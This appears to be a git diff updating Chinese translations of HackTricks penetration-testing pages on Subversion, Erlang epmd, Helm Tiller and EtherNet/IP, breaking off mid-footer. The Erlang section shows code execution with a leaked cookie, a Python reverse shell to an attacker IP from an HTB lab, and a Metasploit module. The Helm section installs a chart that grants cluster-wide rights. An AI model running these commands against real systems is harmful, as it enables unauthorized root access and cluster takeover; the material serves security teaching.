* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
||||
由 **Álex B (@r1p)** 创建的帖子
|
||||
Post created by **Álex B (@r1p)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
**Subversion**是一个集中式**版本控制系统**,在管理项目的当前和历史数据方面发挥着至关重要的作用。作为一个**开源**工具,它在**Apache许可证**下运行。该系统被广泛认可,因为它在**软件版本控制和修订控制**方面的能力,确保用户可以高效地跟踪随时间变化的内容。
|
||||
**Subversion** 是一个集中式 **版本控制系统**,在管理项目的当前和历史数据方面发挥着至关重要的作用。作为一个 **开源** 工具,它在 **Apache 许可证** 下运行。该系统因其在 **软件版本控制和修订控制** 方面的能力而广受认可,确保用户能够高效地跟踪随时间变化的更改。
|
||||
|
||||
**默认端口:** 3690
|
||||
```
|
||||
|
@ -33,16 +34,17 @@ svn log svn://10.10.10.203 #Commit history
|
|||
svn checkout svn://10.10.10.203 #Download the repository
|
||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
**Erlang Port Mapper Daemon (epmd)** 作为分布式Erlang实例的协调器。它负责将符号节点名称映射到机器地址,从根本上确保每个节点名称与特定地址相关联。**epmd**的这一角色对于不同Erlang节点在网络中的无缝交互和通信至关重要。
|
||||
**Erlang Port Mapper Daemon (epmd)** 作为分布式 Erlang 实例的协调者。它负责将符号节点名称映射到机器地址,基本上确保每个节点名称与特定地址相关联。**epmd** 的这一角色对于不同 Erlang 节点在网络中的无缝交互和通信至关重要。
|
||||
|
||||
**默认端口**:4369
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
```
|
||||
这在RabbitMQ和CouchDB安装中默认使用。
|
||||
这是在 RabbitMQ 和 CouchDB 安装中默认使用的。
|
||||
|
||||
# 枚举
|
||||
|
||||
|
@ -53,9 +54,9 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
# Erlang Cookie RCE
|
||||
|
||||
## 远程连接
|
||||
## Remote Connection
|
||||
|
||||
如果你能**泄露认证cookie**,你将能够在主机上执行代码。通常,这个cookie位于`~/.erlang.cookie`中,并且是由erlang在第一次启动时生成的。如果没有修改或手动设置,它将是一个具有20个字符长度的随机字符串[A:Z]。
|
||||
如果您能够**泄露认证 cookie**,您将能够在主机上执行代码。通常,这个 cookie 位于 `~/.erlang.cookie`,并由 erlang 在第一次启动时生成。如果没有手动修改或设置,它是一个长度为 20 个字符的随机字符串 \[A:Z]。
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
|
@ -67,22 +68,22 @@ At last, we can start an erlang shell on the remote system.
|
|||
(test@target.fqdn)1>os:cmd("id").
|
||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
```
|
||||
更多信息请查看[https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
作者还分享了一个用于暴力破解 cookie 的程序:
|
||||
更多信息请访问 [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
作者还分享了一个用于暴力破解cookie的程序:
|
||||
|
||||
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
||||
|
||||
## 本地连接
|
||||
|
||||
在这种情况下,我们将滥用CouchDB以在本地提升权限:
|
||||
在这种情况下,我们将利用CouchDB在本地提升权限:
|
||||
```bash
|
||||
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
||||
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
||||
"homer\n"
|
||||
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
||||
```
|
||||
从[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)中获取的示例\
|
||||
您可以使用**Canape HTB机器**来**练习**如何**利用此漏洞**。
|
||||
示例取自 [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
|
||||
你可以使用 **Canape HTB 机器来** **练习** 如何 **利用这个漏洞**。
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -91,19 +92,20 @@ msf5> use exploit/multi/misc/erlang_cookie_rce
|
|||
```
|
||||
# Shodan
|
||||
|
||||
* `port:4369 "at port"`
|
||||
* `port:4369 "在端口"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
Helm是Kubernetes的**包管理器**。它允许打包YAML文件并在公共和私有存储库中分发它们。这些包被称为**Helm Charts**。**Tiller**是默认在端口44134上运行的**服务**。
|
||||
Helm 是 Kubernetes 的 **包管理器**。它允许将 YAML 文件打包并在公共和私有仓库中分发。这些包称为 **Helm Charts**。**Tiller** 是默认在端口 44134 上运行的 **服务**,提供该服务。
|
||||
|
||||
**默认端口:** 44134
|
||||
**默认端口:** 44134
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
44134/tcp open unknown
|
||||
```
|
||||
# 枚举
|
||||
# Enumeration
|
||||
|
||||
如果你可以**枚举不同命名空间的 pods 和/或 services**,请枚举它们并搜索名称中带有**"tiller"**的实例:
|
||||
如果您可以**枚举不同命名空间的 pods 和/或服务**,请枚举它们并搜索名称中包含**“tiller”**的项:
|
||||
```bash
|
||||
kubectl get pods | grep -i "tiller"
|
||||
kubectl get services | grep -i "tiller"
|
||||
|
@ -45,24 +46,39 @@ NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S)
|
|||
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
||||
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
||||
```
|
||||
你也可以尝试查找运行在端口44134上的该服务:
|
||||
您还可以尝试通过检查端口 44134 来查找此服务是否正在运行:
|
||||
```bash
|
||||
sudo nmap -sS -p 44134 <IP>
|
||||
```
|
||||
一旦发现了它,您可以通过下载客户端 Helm 应用程序与其通信。您可以使用诸如 `homebrew` 这样的工具,或查看[**官方发布页面**](https://github.com/helm/helm/releases)**。**有关更多详细信息,或其他选项,请参阅[安装指南](https://v2.helm.sh/docs/using\_helm/#installing-helm)。
|
||||
一旦你发现它,你可以通过下载客户端 helm 应用程序与之通信。你可以使用像 `homebrew` 这样的工具,或者查看 [**官方发布页面**](https://github.com/helm/helm/releases)**.** 有关更多详细信息或其他选项,请参阅 [安装指南](https://v2.helm.sh/docs/using\_helm/#installing-helm)。
|
||||
|
||||
然后,您可以**枚举服务**:
|
||||
然后,你可以 **枚举服务**:
|
||||
```
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
## 提权
|
||||
## 权限提升
|
||||
|
||||
默认情况下,**Helm2** 是以 **高权限** 安装在 **命名空间 kube-system** 中的,因此如果您找到该服务并具有访问权限,这可能允许您 **提升权限**。
|
||||
默认情况下,**Helm2** 安装在 **kube-system** 命名空间中,具有 **高权限**,因此如果您找到该服务并且可以访问它,这可能允许您 **提升权限**。
|
||||
|
||||
您只需要安装一个类似于这个的软件包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),这将使 **默认服务令牌可以访问整个集群中的所有内容**。
|
||||
您需要做的就是安装一个这样的包:[**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn),这将使 **默认服务令牌访问整个集群中的所有内容。**
|
||||
```
|
||||
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
||||
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
||||
/pwnchart
|
||||
```
|
||||
在[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)中,你可以找到**攻击的解释**,但基本上,如果你阅读_helm-tiller-pwn/pwnchart/templates/_目录下的[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)和[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)文件,你会看到**所有权限都被赋予了默认令牌**。
|
||||
在 [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) 中你可以找到 **攻击的解释**,但基本上,如果你阅读文件 [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) 和 [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) 在 _helm-tiller-pwn/pwnchart/templates/_ 中,你可以看到 **所有权限都被赋予了默认令牌**。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **协议信息**
|
||||
|
||||
EtherNet/IP是一种常用于**工业自动化控制系统**中的**工业以太网网络协议**。它是由Rockwell Automation在上世纪90年代末开发的,并由ODVA管理。该协议确保**多供应商系统互操作性**,并在**水处理厂**、**制造设施**和**公用事业**等各种应用中使用。要识别EtherNet/IP设备,需要向**TCP/44818**发送一个带有**列表标识消息(0x63)**的查询。
|
||||
EtherNet/IP 是一种 **工业 Ethernet 网络协议**,通常用于 **工业自动化控制系统**。它由 Rockwell Automation 在 1990 年代末开发,并由 ODVA 管理。该协议确保 **多供应商系统互操作性**,并在 **水处理厂**、**制造设施**和 **公用事业**等各种应用中使用。要识别 EtherNet/IP 设备,需向 **TCP/44818** 发送 **身份消息 (0x63)** 查询。
|
||||
|
||||
**默认端口:** 44818 UDP/TCP
|
||||
```
|
||||
|
@ -33,16 +34,17 @@ python3 -m cpppo.server.enip.list_services [--udp] [--broadcast] --list-identity
|
|||
* `port:44818 "产品名称"`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
